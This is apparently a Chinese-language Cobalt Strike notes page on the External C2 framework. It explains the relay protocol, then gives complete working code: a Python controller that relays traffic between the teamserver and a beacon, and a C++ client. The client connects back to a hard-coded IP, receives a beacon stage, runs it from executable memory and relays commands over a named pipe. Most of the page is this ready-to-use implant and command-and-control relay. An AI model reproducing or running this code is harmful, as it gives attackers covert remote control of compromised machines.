C
C
Cobalt Strike
搜索文档…
External C2
这东西其实依靠的就是SMB Beacon payload

介绍

首先什么是ExternalC2?
ExternalC2是由Cobalt Strike提出的一套规范/框架,它允许黑客根据需要对框架提供的默认HTTP(S)/DNS/SMB C2 通信通道进行扩展,简单说就是用户可以开发自己的控制器(服务端)和客户端(被控端)而不是直接使用CS自己的那套,控制器与客户端怎么来都是自己说了算。
  1. 1.
    第三方控制器(Third-party Controller)——负责与Cobalt Strike TeamServer(CS服务端)进行连接(通信方式使用TCP连接),并使用自定义C2通道与目标主机上的第三方客户端进行通信(通信方式自定义)
  2. 2.
    第三方客户端(Third-party Client)——负责使用自定义的C2通道与第三方控制器进行通信,最终将命令中转到SMB Beacon(通信方式使用命名管道)
  3. 3.
    SMB Beacon——受害者机器上运行的Beacon

通信过程

要使用External C2需要先启动External C2监听器好等待连接,根据CS版本分为两种方法,使用脚本或者直接新建External C2监听器
在3.x时需要使用脚本来启动,脚本内容如下,然后在脚本管理器里加载此脚本 externalc2_start函数的作用就是接收两个参数,监听地址和监听端口
1
externalc2_start("0.0.0.0", 2222);
Copied!
在4.x后不在需要使用这种方法作者进行了包装可以直接新建一个External C2监听器更加方便
ExternalC2启动后就会开始监听指定端口等待我们的第三方控制端连接进行通信
先来说一下整体的通信过程
最开始通信时,第三方控制器与External C2通过socket建立连接,然后发送一些选项,数据发送格式如下
4字节的数据块长度(低字节序)加一个数据块所组成
首先要发送以下的一些选项:
  1. 1.
    arch:指定beacon stage的架构(x86或x64)
  2. 2.
    pipename:命名管道(pipe)名称(用来与SMB beacon通信的)
  3. 3.
    block:sleep选项(以毫秒为单位睡眠时间)
所有选项发送完毕后,第三方控制器在发送一条go指令。这条指令表示一切ok,CS生成并发送beacon stage。第三方控制器随后会将这个beacon stage转发给第三方客户端,然后第三方客户端接收beacon stage并执行。
在一切完成后会产生一个如下的循环,不断转发CS的命令和客户端执行的结果
发送命令:CS服务端——>第三方控制器——>第三方客户端——>SMB beacon 返回结果:SMB beacon——>第三方控制器——>第三方客户端——>CS服务端
需要注意以上的数据传输格除了第三方控制器与第三方客户端的通信格式可以自定义,其他过程通信全是按照4字节的数据块长度+数据块组成

经典案例

先说一个经典案例然后在说一个别的。在这个经典案例中我们使用Python编写第三方服务端C++编写第三方客户端。
首先先在Cobalt Strike里起一个External C2监听器

第三方服务端

1
import socket
2
import struct
3
import time
4
5
class ExternalC2Controller:
6
def __init__(self, port):
7
self.port = port
8
9
def encodeFrame(self, data):
10
return struct.pack("<I", len(data)) + data
11
12
def decodeFrame(self, data):
13
len = struct.unpack("<I", data[0:3])
14
body = data[4:]
15
return (len, body)
16
17
def sendToTS(self, data):
18
self._socketTS.sendall(self.encodeFrame(data))
19
20
def recvFromTS(self):
21
data = ""
22
_len = self._socketTS.recv(4)
23
l = struct.unpack("<I",_len)[0]
24
while len(data) < l:
25
data += self._socketTS.recv(l - len(data))
26
return data
27
28
def sendToBeacon(self, data):
29
self._socketClient.sendall(self.encodeFrame(data))
30
31
def recvFromBeacon(self):
32
data = ""
33
_len = self._socketClient.recv(4)
34
l = struct.unpack("<I",_len)[0]
35
while len(data) < l:
36
data += self._socketClient.recv(l - len(data))
37
return data
38
39
def run(self):
40
# First thing, wait for a connection from our custom beacon
41
self._socketBeacon = socket.socket(socket.AF_INET, socket.SOCK_STREAM, socket.IPPROTO_IP)
42
self._socketBeacon.bind(("0.0.0.0", 8081))
43
self._socketBeacon.listen(1)
44
self._socketClient = self._socketBeacon.accept()[0]
45
print "Received C2 connection"
46
47
# Now we have a beacon connection, we kick off comms with CS External C2
48
self._socketTS = socket.socket(socket.AF_INET, socket.SOCK_STREAM, socket.IPPROTO_IP)
49
self._socketTS.connect(("127.0.0.1", self.port))
50
51
# Send out config options
52
self.sendToTS("arch=x86")
53
self.sendToTS("pipename=xpntest")
54
self.sendToTS("block=500")
55
self.sendToTS("go")
56
57
# Receive the beacon payload from CS to forward to our custom beacon
58
data = self.recvFromTS()
59
60
while(True):
61
print "Sending %d bytes to beacon" % len(data)
62
self.sendToBeacon(data)
63
64
data = self.recvFromBeacon()
65
print "Received %d bytes from beacon" % len(data)
66
67
print "Sending %d bytes to TS" % len(data)
68
self.sendToTS(data)
69
70
data = self.recvFromTS()
71
print "Received %d bytes from TS" % len(data)
72
73
controller = ExternalC2Controller(3389)
74
controller.run()
Copied!

第三方客户端编写

1
#include "stdafx.h"
2
3
// Allocates a RWX page for the CS beacon, copies the payload, and starts a new thread
4
void spawnBeacon(char *payload, DWORD len) {
5
6
HANDLE threadHandle;
7
DWORD threadId = 0;
8
char *alloc = (char *)VirtualAlloc(NULL, len, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
9
memcpy(alloc, payload, len);
10
11
threadHandle = CreateThread(NULL, NULL, (LPTHREAD_START_ROUTINE)alloc, NULL, 0, &threadId);
12
}
13
14
// Sends data to our C2 controller received from our injected beacon
15
void sendData(SOCKET sd, const char *data, DWORD len) {
16
char *buffer = (char *)malloc(len + 4);
17
if (buffer == NULL)
18
return;
19
20
DWORD bytesWritten = 0, totalLen = 0;
21
22
*(DWORD *)buffer = len;
23
memcpy(buffer + 4, data, len);
24
25
while (totalLen < len + 4) {
26
bytesWritten = send(sd, buffer + totalLen, len + 4 - totalLen, 0);
27
totalLen += bytesWritten;
28
}
29
free(buffer);
30
}
31
32
// Receives data from our C2 controller to be relayed to the injected beacon
33
char *recvData(SOCKET sd, DWORD *len) {
34
char *buffer;
35
DWORD bytesReceived = 0, totalLen = 0;
36
37
*len = 0;
38
39
recv(sd, (char *)len, 4, 0);
40
buffer = (char *)malloc(*len);
41
if (buffer == NULL)
42
return NULL;
43
44
while (totalLen < *len) {
45
bytesReceived = recv(sd, buffer + totalLen, *len - totalLen, 0);
46
totalLen += bytesReceived;
47
}
48
return buffer;
49
}
50
51
// Creates a new C2 controller connection for relaying commands
52
SOCKET createC2Socket(const char *addr, WORD port) {
53
WSADATA wsd;
54
SOCKET sd;
55
SOCKADDR_IN sin;
56
WSAStartup(0x0202, &wsd);
57
58
memset(&sin, 0, sizeof(sin));
59
sin.sin_family = AF_INET;
60
sin.sin_port = htons(port);
61
sin.sin_addr.S_un.S_addr = inet_addr(addr);
62
63
sd = socket(AF_INET, SOCK_STREAM, IPPROTO_IP);
64
connect(sd, (SOCKADDR*)&sin, sizeof(sin));
65
66
return sd;
67
}
68
69
// Connects to the name pipe spawned by the injected beacon
70
HANDLE connectBeaconPipe(const char *pipeName) {
71
HANDLE beaconPipe;
72
73
beaconPipe = CreateFileA(pipeName, GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, NULL, NULL);
74
75
return beaconPipe;
76
}
77
78
// Receives data from our injected beacon via a named pipe
79
char *recvFromBeacon(HANDLE pipe, DWORD *len) {
80
char *buffer;
81
DWORD bytesRead = 0, totalLen = 0;
82
83
*len = 0;
84
85
ReadFile(pipe, len, 4, &bytesRead, NULL);
86
buffer = (char *)malloc(*len);
87
88
while (totalLen < *len) {
89
ReadFile(pipe, buffer + totalLen, *len - totalLen, &bytesRead, NULL);
90
totalLen += bytesRead;
91
}
92
return buffer;
93
}
94
95
// Write data to our injected beacon via a named pipe
96
void sendToBeacon(HANDLE pipe, const char *data, DWORD len) {
97
DWORD bytesWritten = 0;
98
WriteFile(pipe, &len, 4, &bytesWritten, NULL);
99
WriteFile(pipe, data, len, &bytesWritten, NULL);
100
}
101
102
int main()
103
{
104
DWORD payloadLen = 0;
105
char *payloadData = NULL;
106
HANDLE beaconPipe = INVALID_HANDLE_VALUE;
107
108
// Create a connection back to our C2 controller
109
SOCKET c2socket = createC2Socket("192.168.1.65", 8081);
110
payloadData = recvData(c2socket, &payloadLen);
111
112
// Start the CS beacon
113
spawnBeacon(payloadData, payloadLen);
114
115
// Loop until the pipe is up and ready to use
116
while (beaconPipe == INVALID_HANDLE_VALUE) {
117
// Create our IPC pipe for talking to the C2 beacon
118
Sleep(500);
119
beaconPipe = connectBeaconPipe("\\\\.\\pipe\\xpntest");
120
}
121
122
while (true) {
123
// Start the pipe dance
124
payloadData = recvFromBeacon(beaconPipe, &payloadLen);
125
if (payloadLen == 0) break;
126
127
sendData(c2socket, payloadData, payloadLen);
128
free(payloadData);
129
130
payloadData = recvData(c2socket, &payloadLen);
131
if (payloadLen == 0) break;
132
133
sendToBeacon(beaconPipe, payloadData, payloadLen);
134
free(payloadData);
135
}
136
137
138
return 0;
139
}
Copied!
代码相关的东西就自己多读一下吧都不难
另一个ExternalC2框架
https://github.com/SpiderLabs/DoHC2 这个感兴趣的可以看看